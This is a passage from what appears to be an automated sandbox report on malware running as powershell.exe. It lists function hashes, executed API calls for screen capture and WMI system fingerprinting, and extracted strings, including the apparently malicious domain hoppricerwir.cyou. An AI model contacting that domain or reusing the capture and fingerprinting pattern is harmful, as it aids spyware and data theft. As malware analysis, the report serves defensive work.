Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56f6640489ff9b64443f396cece4c17018c0eedcd8a1dcf9a8ebc0848c715aa5
Instruction ID: 08b4f3bc307cec83c2c2edd2d58f8c1b94c1646f1a95665b791908e6b46e2216
Opcode Fuzzy Hash: 56f6640489ff9b64443f396cece4c17018c0eedcd8a1dcf9a8ebc0848c715aa5
Instruction Fuzzy Hash: 01215870D082498FCB14CFA9C9446EEBFF5BF89310F14842AD545B32A1D7B44945CBA1

Function 009BB4C8 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3139348153.00000000009B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_9b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eac94cf41aa830a9f986ce71ec4f6624924fad1d6c6404d2a0bb74b9e001c579
Instruction ID: c40c8f34d93c5b4f4abf869af6826279f853099c7c7e02b5d996e2663dfacdc8
Opcode Fuzzy Hash: eac94cf41aa830a9f986ce71ec4f6624924fad1d6c6404d2a0bb74b9e001c579
Instruction Fuzzy Hash: 0D111971D04219CFDB14CF99D9446EEBBF6FB89320F10842AE509B3250D7B45A85DFA1

Function 009B29C8 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3139348153.00000000009B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_9b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bb68013969126c9374ba35fcacc34cde869ea1bdcf0f886bf207025e735ec58
Instruction ID: 06449b00b8f734773abeb5898417c9ef2b633ec3a63b9ebca92920dfae5adb19
Opcode Fuzzy Hash: 3bb68013969126c9374ba35fcacc34cde869ea1bdcf0f886bf207025e735ec58
Instruction Fuzzy Hash: 0B1130317002189FD724DB69C955B6ABBB5FF85710F204069F5099B3A5DA71EC01C7A1

Function 00D7D20A Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3140381330.0000000000D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2175611fe9eb816d36ab9b1f292d1b45375f1b6b118ed821bfbec51c800d87ba
Instruction ID: 24a9791bf638e05407d6f084ea7a3de709f2829e0808e365ebeb35fbfc1c5786
Opcode Fuzzy Hash: 2175611fe9eb816d36ab9b1f292d1b45375f1b6b118ed821bfbec51c800d87ba
Instruction Fuzzy Hash: D211DA74A00209EFDB55CBA8D494E9DBBF2AF48304F28C159E808AB351D775ED86CB60

Function 072B6BD0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3191908255.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_72b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca9be719ea70e825a18b8f833b777861aebe6c2386d4f54a18f863c12c4fc3fa
Instruction ID: 4d5bb774f98836ae7ed43f5d74449398d4b1323cfc13e20f05587cd7969ae6d8
Opcode Fuzzy Hash: ca9be719ea70e825a18b8f833b777861aebe6c2386d4f54a18f863c12c4fc3fa
Instruction Fuzzy Hash: C4014431710318BBDB6467784C26FBF2BC68F86B44F608419F605AF3C1E9A69D41832A

Function 0718BE3B Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3191448210.0000000007180000.00000040.00000800.00020000.00000000.sdmp, Offset: 07180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7180000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce262f89b6b375e579c11357c05e4476530abb102e86a5b0c311d6ed77c2cdb1
Instruction ID: 58ab5b789d3d2e8e528c01b9c64630975c7beaf5b3bffdde7dff3a557b6004ef
Opcode Fuzzy Hash: ce262f89b6b375e579c11357c05e4476530abb102e86a5b0c311d6ed77c2cdb1
Instruction Fuzzy Hash: DF01AFB6A0E3C46FD757A7349D518967FB8AF1721434B41DBE084CB2A3C6189D06CBB1

Function 009B4040 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3139348153.00000000009B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_9b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0b333467013f68e31d9b1bb810a1428a90a61aac694c2d66c18978f41cd9494
Instruction ID: b77919cf9fc8616eee15d019c8e22620fd77e320cc9489de66a1ade7f95f53e1
Opcode Fuzzy Hash: b0b333467013f68e31d9b1bb810a1428a90a61aac694c2d66c18978f41cd9494
Instruction Fuzzy Hash: C0F0E2307042048EEB58F13D9E642B667BAABD233032480AFE701C7297CD298C02A352

Function 009B4069 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3139348153.00000000009B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_9b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aed32aed538e08db3e380f3d83fa6eac658de609b8e0a075943192da08074234
Instruction ID: 10c381093621e682ce9f40b86a052a62a5459abd2d70c4933d34054112824269
Opcode Fuzzy Hash: aed32aed538e08db3e380f3d83fa6eac658de609b8e0a075943192da08074234
Instruction Fuzzy Hash: 8CE02B217482509AEF69707E1E106F32AAEEBD33B0318416BE309C7187CC204C419263

Function 009BB240 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3139348153.00000000009B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_9b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2c8ab2479d890d55c101d7e2e30fc249332b94560831e6a0868091d79dcc0af
Instruction ID: e54bae1e2314bfd050c1c4c1a6f1324d7a7fa2ee11603bd954ee00e9b55b56c4
Opcode Fuzzy Hash: a2c8ab2479d890d55c101d7e2e30fc249332b94560831e6a0868091d79dcc0af
Instruction Fuzzy Hash: 84F04F34904108DFC750CFA4D594E9CBBB4EB59311F10C19ED8199B361C7719D01DB40

Function 009B4349 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3139348153.00000000009B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_9b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a86900bacc165ebadb7e86f85fbbfb836db95a74235db5b43377da48014e189
Instruction ID: 06c06e9bee284d3e6bc3564df17239ab9c1aab4fb0bd4ebe3e2842d950775a13
Opcode Fuzzy Hash: 9a86900bacc165ebadb7e86f85fbbfb836db95a74235db5b43377da48014e189
Instruction Fuzzy Hash: 57F0E23120E3C45FDB55923A1AA026A6AEE6FC221032C40AEA145C729BCC698C415362

Function 009BB280 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3139348153.00000000009B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_9b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 449c20b389b5909b7463908869826fc0d23cf5464e80c637853fa4aec6f6cfb2
Instruction ID: d30b89b70904678933156c724e7f54d6efd554e49e660f2048073f4814f18b19
Opcode Fuzzy Hash: 449c20b389b5909b7463908869826fc0d23cf5464e80c637853fa4aec6f6cfb2
Instruction Fuzzy Hash: 1EF06730E09248AFCB91CFA4C951A9CBFB0EB0A310F20C19AD859D3252C6354A02DF41

Function 009BF669 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3139348153.00000000009B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_9b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e4272a6af07f8d6f57b21e69ec847a20853c42911f569e1cde5623f6281ca1d
Instruction ID: 4db343ea9d653d168abaf7833f6228d4cad64540f5a26381b8d90b1d585bfd51
Opcode Fuzzy Hash: 3e4272a6af07f8d6f57b21e69ec847a20853c42911f569e1cde5623f6281ca1d
Instruction Fuzzy Hash: DFF0FF74A09248EFCB50DBA8C984A9CBFF0EB49310F2081AAD809A3221C2369A41DF40

Function 009BB290 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3139348153.00000000009B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_9b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0bab4dbb843641ad82239d8cc7cc2ca1db6d47237c93ee55aa94d5dd1c4b9a1
Instruction ID: 56a7798ff6fcc7a15ff9fc2aedd27fac94a7f77ff8c61edcc21195c40b74eae1
Opcode Fuzzy Hash: c0bab4dbb843641ad82239d8cc7cc2ca1db6d47237c93ee55aa94d5dd1c4b9a1
Instruction Fuzzy Hash: 89F0A575E04208EFCB94DFA8D940A9CBBB5EB58310F20C5AADC2893350D7759A52EF80

Function 00D7FF80 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3140381330.0000000000D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3f614eb4bf0d2deae16288dd81aebaade51d0c7433c2d92e03701b391ac9255
Instruction ID: 72ac8ac4efa842959e7c05cbb875b2e6d9a1933be833de25b72db5c6f721c36a
Opcode Fuzzy Hash: d3f614eb4bf0d2deae16288dd81aebaade51d0c7433c2d92e03701b391ac9255
Instruction Fuzzy Hash: B9D0A93B0287904FCF231F16E9521807FE0EA073D632904CBE088CE156C22BDA8982B3

Function 0718DF25 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3191448210.0000000007180000.00000040.00000800.00020000.00000000.sdmp, Offset: 07180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7180000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac84e1e4090fab745cfbddb31c8f8b43bc2109108374dc19b12beaff14112b6e
Instruction ID: 5e421c4447d28f6f76a02a241de82c28e2ffa43f5a09951c79540ead27ef00b5
Opcode Fuzzy Hash: ac84e1e4090fab745cfbddb31c8f8b43bc2109108374dc19b12beaff14112b6e
Instruction Fuzzy Hash: 85E0EE3510E3C09FC7839B3489648A07F30AE1B22074A81C7E0C58F1B3C22A9A18EB26

Function 009B1850 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3139348153.00000000009B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_9b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbccb4f74b02267380a7577f913d0733f988484dba754df84c9be7d7adf76d4a
Instruction ID: 488c3d3c198a27e1b75fafd5da181a1f4b8a5ab254f6fd1cd4accf7adf572733
Opcode Fuzzy Hash: dbccb4f74b02267380a7577f913d0733f988484dba754df84c9be7d7adf76d4a
Instruction Fuzzy Hash: 83D09E36210119BFDB05DE84DC41CA67B6AEB89760B14C45AFD1547351CBB3ED22EB90

Function 009B0640 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3139348153.00000000009B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_9b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da59090086ee664d4f0df41b490502be8aeeb6f7c86f3999c8b57d9cad041490
Instruction ID: 0e114a5842be1ef7338723a80d3fde351b122c512b4e764b861a276e070f1f07
Opcode Fuzzy Hash: da59090086ee664d4f0df41b490502be8aeeb6f7c86f3999c8b57d9cad041490
Instruction Fuzzy Hash: 9BD0A7F82055405FC745C614C9915697BB18BDA254705C0DED549CB353EB31AC038740

Function 009B1C20 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3139348153.00000000009B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_9b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9504c8598fa46db624342cf0a5846bcbfe77f999d422cfac7902c5e18c92c64
Instruction ID: 59e95bfc424472dbb4f68c670514b8924744a50d1d9cd12ea08ea79a0b939603
Opcode Fuzzy Hash: c9504c8598fa46db624342cf0a5846bcbfe77f999d422cfac7902c5e18c92c64
Instruction Fuzzy Hash: 38D012365182605FD345CA54D811D657BB5FBD9310709888FF44487292CA69AC16C751

Function 009BA150 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3139348153.00000000009B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_9b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3f4200341b11588d227e8f588d974ea67efd4fc58d9e897aefd2a1721759b92
Instruction ID: 3a0e68759b99717cfae03a45a1cd641ee3762e9dd4c9aeb707dab20ae179696c
Opcode Fuzzy Hash: e3f4200341b11588d227e8f588d974ea67efd4fc58d9e897aefd2a1721759b92
Instruction Fuzzy Hash: 5FD0A75058E3D48EF75373B45C293957F341F0321AF4841D7D4C9A50A3CB284801D723

Function 009B5548 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3139348153.00000000009B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_9b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8de2760725149e44c2dd252434aff0e2dbfe7574e3d0eb72371b6aeaa6a5694
Instruction ID: 1bae7f231a73962c89f9b8ce0a0958ad164f2c21280bed68e12ff61fefbbf401
Opcode Fuzzy Hash: a8de2760725149e44c2dd252434aff0e2dbfe7574e3d0eb72371b6aeaa6a5694
Instruction Fuzzy Hash: 89D05BB550C2815FD306C650D8518317F31DB95214305C0CFDD444B393C971DC52C761

Function 00D7FF2F Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3140381330.0000000000D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 613f34609adc27dfdabaa9e83a25cb9e90a7ee1e14f890f3d81261efb53937b6
Instruction ID: fc2b10e55b9850b524f01373ebd01a6bf20edae73cb15a70d74d05a87f09183b
Opcode Fuzzy Hash: 613f34609adc27dfdabaa9e83a25cb9e90a7ee1e14f890f3d81261efb53937b6
Instruction Fuzzy Hash: F2D0127464D1446FC7068F18C862691BBF29F87204325C0DEE898CB2AADE3E9D0BCB15

Function 0718DCC8 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3191448210.0000000007180000.00000040.00000800.00020000.00000000.sdmp, Offset: 07180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7180000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ca2967a07ce1e245af5236a7317ada675a9a77a6baf2e8c42001aaaf29d0106
Instruction ID: af0e6931763d41b04ada2d03e7e4344f0ee5235c20f5192ea5daa389592d2477
Opcode Fuzzy Hash: 2ca2967a07ce1e245af5236a7317ada675a9a77a6baf2e8c42001aaaf29d0106
Instruction Fuzzy Hash: CED09236280208BFDB018E85DD06F8A3F65EF08B10F104040FB045E1B1C3B2E820AB55

Function 00D7FF68 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3140381330.0000000000D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77b220e325d0fba316ee27dedf515d5a3b842cef9a89e35c74af660d5376e8cd
Instruction ID: 9851562cc5779ccddea3b965d85eacb4c6bba67ae464ca0cd59b582b9aa5c0be
Opcode Fuzzy Hash: 77b220e325d0fba316ee27dedf515d5a3b842cef9a89e35c74af660d5376e8cd
Instruction Fuzzy Hash: CFB012217C434823E59830725C13B23350F43C0A64C5480A1A7181E1C18C967D20408C

Function 0718DF48 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3191448210.0000000007180000.00000040.00000800.00020000.00000000.sdmp, Offset: 07180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7180000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9360f6c3753071abd6b5a8e86689413885372535260cb3c19a445abdef9116e5
Instruction ID: 740b9759760942d22b17a3cca9430a66c5404184698edbd653c299f37843b55b
Opcode Fuzzy Hash: 9360f6c3753071abd6b5a8e86689413885372535260cb3c19a445abdef9116e5
Instruction Fuzzy Hash: ECC04C39140108EFCB419F55D844C45BBA9FF19770741C051F9494B632C732E960DB50

Function 009B56A0 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3139348153.00000000009B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_9b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5825a10c6b05c94f57cc405858c51eb4613de2347af3b9dbb3eb2f716dd2a358
Instruction ID: ca46cfd3497c59f4aef21eea2ffed5c826b40f6e137ab991414bce52e5bb6106
Opcode Fuzzy Hash: 5825a10c6b05c94f57cc405858c51eb4613de2347af3b9dbb3eb2f716dd2a358
Instruction Fuzzy Hash: 34B092303102086B86146283BD1CC25BA2AF6C3A91AD0C46AA88A5AB168A56DC104A96

Function 07E6A578 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3194535189.0000000007E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7e60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76255853014eca31e2e2e8ac0bdd67ddfc2ffe8a2e0339b119d6101aa035005c
Instruction ID: 93f3e99bca3043d8ba7cde06d9696bd730a1f2d57a4a44413c75f9c8736ea23a
Opcode Fuzzy Hash: 76255853014eca31e2e2e8ac0bdd67ddfc2ffe8a2e0339b119d6101aa035005c
Instruction Fuzzy Hash: 2BC09239140208EFC700DF5AD949C45BFA8EF1976074580A1FA088B732C732E820DA94

Function 0718BE60 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3191448210.0000000007180000.00000040.00000800.00020000.00000000.sdmp, Offset: 07180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7180000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4e2839fb080d70fd9d5ab266c8ff45246f4c7246a28781672dbb782ec4b6ef3
Instruction ID: cfd3c94acb28e12ede7e7a80c62375d018fe088f1f186957f4485c32e65079b3
Opcode Fuzzy Hash: f4e2839fb080d70fd9d5ab266c8ff45246f4c7246a28781672dbb782ec4b6ef3
Instruction Fuzzy Hash: 6CB092301602088F82009A59E448C0137ACAF08A0434100D0E1088B632C621F8008A51

Non-executed Functions

Function 072B80A0 Relevance: 5.4, Strings: 4, Instructions: 406COMMON

Download Yara Rule

Strings

4i, xrefs: 072B843D
4i, xrefs: 072B844B
Xbi, xrefs: 072B8390
Xbi, xrefs: 072B839A

Memory Dump Source

Source File: 00000008.00000002.3191908255.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_72b0000_powershell.jbxd

Similarity

API ID:
String ID: 4i$4i$Xbi$Xbi
API String ID: 0-2864769407
Opcode ID: 887a46cf5f1e0f202a7bb148600a8859c80b788fc1d398fcbcc1b48a5de232e6
Instruction ID: e8016108d8b7fc6fb0bbc93bf72ba4a78435237b913320416a0921a96e154b03
Opcode Fuzzy Hash: 887a46cf5f1e0f202a7bb148600a8859c80b788fc1d398fcbcc1b48a5de232e6
Instruction Fuzzy Hash: 76D116B173424BDFDB318E69C8547EA7BB9AF82390F14806AD9498B281DB71CC41C7E1

Analysis Process: powershell.exePID: 8108, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	8.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	50.6%
Total number of Nodes:	320
Total number of Limit Nodes:	22

Executed Functions

Function 0043B870 Relevance: 39.4, APIs: 12, Strings: 10, Instructions: 880
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(CDCCD3E7,00000000,00000001,?,00000000), ref: 0043BCCC
SysAllocString.OLEAUT32(37C935C6), ref: 0043BD46
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043BD84
SysAllocString.OLEAUT32(37C935C6), ref: 0043BDE9
SysAllocString.OLEAUT32(37C935C6), ref: 0043BED0
VariantInit.OLEAUT32(?), ref: 0043BF3E
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0043C243

Strings

96, xrefs: 0043BE52
e?^, xrefs: 0043BC4F
#~|, xrefs: 0043B89D
#~|, xrefs: 0043B8A7
[&h$, xrefs: 0043BE32
F*R(, xrefs: 0043BE2A
k"@ , xrefs: 0043BE3A
M, xrefs: 0043BB5B
n:T8, xrefs: 0043BE4A
:;$%, xrefs: 0043C2EC

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: AllocString$BlanketCreateInformationInitInstanceProxyVariantVolume
String ID: M$96$:;$%$F*R($[&h$$e?^$k"@ $n:T8$#~|$#~|
API String ID: 1810270423-2807872674
Opcode ID: e6ecce7c8956681f92dc535f91b381c25ec5d52401f642ed89fa62794539d767
Instruction ID: 0fa8c84a7900d0f22f2d4f21e88135ff08406c7ea1f94cba9a5970d36c475c8e
Opcode Fuzzy Hash: e6ecce7c8956681f92dc535f91b381c25ec5d52401f642ed89fa62794539d767
Instruction Fuzzy Hash: 735202726083408BD714CF68C88176BFBE1EF89314F189A2EE5D597391D778D806CB96

Function 00436980 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 230
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDC.USER32(00000000), ref: 00436989
GetSystemMetrics.USER32(0000004C), ref: 00436999
GetSystemMetrics.USER32(0000004D), ref: 004369A1
GetCurrentObject.GDI32(00000000,00000007), ref: 004369AA
GetObjectW.GDI32(00000000,00000018,?), ref: 004369BA
DeleteObject.GDI32(00000000), ref: 004369C1
CreateCompatibleDC.GDI32(00000000), ref: 004369D0
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 004369DB
SelectObject.GDI32(00000000,00000000), ref: 004369E7
BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,00CC0020), ref: 00436A0A

Strings

Y, xrefs: 00436BEE

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: Object$CompatibleCreateMetricsSystem$BitmapCurrentDeleteSelect
String ID: Y
API String ID: 1298755333-3233089245
Opcode ID: c24b2a11f15356cf646cf834205c4c04271eabb57bf08da4818dca27ea7b735a
Instruction ID: ce6842184c50d62c14bce23637ee5c5f438d7dfa952fd3edf86735d4080956a5
Opcode Fuzzy Hash: c24b2a11f15356cf646cf834205c4c04271eabb57bf08da4818dca27ea7b735a
Instruction Fuzzy Hash: 4A81C33A158310EFD7489FB4AC49A3B7BA5FB8A352F050C3CF546D2290C73995168B2B

Function 00425100 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 480
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000), ref: 004251AA
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000), ref: 00425243

Strings

+$e, xrefs: 004251F2
%\)R, xrefs: 004253AB
.T'j, xrefs: 004253BB
C`<f, xrefs: 004253D3
:@&F, xrefs: 00425393
?P:V, xrefs: 004253B3
1D6Z, xrefs: 0042539B
]RB, xrefs: 00425257
,X*^, xrefs: 004253A3
XY, xrefs: 00425146
+$e, xrefs: 00425165, 0042517A

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: +$e$+$e$%\)R$,X*^$.T'j$1D6Z$:@&F$?P:V$C`<f$XY$]RB
API String ID: 237503144-2846770461
Opcode ID: 6bb977ce3afd55297c40d4ad4ad0787f27efb1a88ac4e0b9b4b3625b15603a3d
Instruction ID: b6d59b0557f70d7ec2d4011febfa6e18cf4a5b2df19338a98cc8181bc2575411
Opcode Fuzzy Hash: 6bb977ce3afd55297c40d4ad4ad0787f27efb1a88ac4e0b9b4b3625b15603a3d
Instruction Fuzzy Hash: E7F1EDB4208350DFD310DF69E89166BBBE0FFC5314F54892DE5958B362E7B88906CB46

Function 00415720 Relevance: 17.5, APIs: 1, Strings: 8, Instructions: 1798COMMON

Download Yara Rule

Strings

a, xrefs: 004163D3
9?4<, xrefs: 00416345
NR@:, xrefs: 00416291
F2}0, xrefs: 00415A76
BYQZ, xrefs: 00416286
L, xrefs: 004162B2
R(RW, xrefs: 00416265
DASS, xrefs: 0041629C

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: 9?4<$BYQZ$DASS$F2}0$L$NR@:$R(RW$a
API String ID: 0-3642574725
Opcode ID: 7102fa617adb74dc25d4adf620ee296a4e1bdfeb1cab22c94a1680406cd724da
Instruction ID: 7f7427958d78b94ffc8c4a18595fe2cbb503adca6349e1c34573b0944bc9dd97
Opcode Fuzzy Hash: 7102fa617adb74dc25d4adf620ee296a4e1bdfeb1cab22c94a1680406cd724da
Instruction Fuzzy Hash: 80C21675608350DFD7209F28D8957ABB7E2EFC6314F19892DE4C98B391EB389841CB46

Function 0040D545 Relevance: 10.8, APIs: 1, Strings: 6, Instructions: 349
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00436980: GetDC.USER32(00000000), ref: 00436989
Part of subcall function 00436980: GetSystemMetrics.USER32(0000004C), ref: 00436999
Part of subcall function 00436980: GetSystemMetrics.USER32(0000004D), ref: 004369A1
Part of subcall function 00436980: GetCurrentObject.GDI32(00000000,00000007), ref: 004369AA
Part of subcall function 00436980: GetObjectW.GDI32(00000000,00000018,?), ref: 004369BA
Part of subcall function 00436980: DeleteObject.GDI32(00000000), ref: 004369C1
Part of subcall function 00436980: CreateCompatibleDC.GDI32(00000000), ref: 004369D0
Part of subcall function 00436980: CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 004369DB
Part of subcall function 00436980: SelectObject.GDI32(00000000,00000000), ref: 004369E7
Part of subcall function 00436980: BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,00CC0020), ref: 00436A0A

CoUninitialize.COMBASE ref: 0040D555

Strings

hoppricerwir.cyou, xrefs: 0040D90A
?C*], xrefs: 0040D7A4
9Y, xrefs: 0040D854
&W-Q, xrefs: 0040D7B9
~wxH, xrefs: 0040D64F
|qay, xrefs: 0040D641

Memory Dump Source

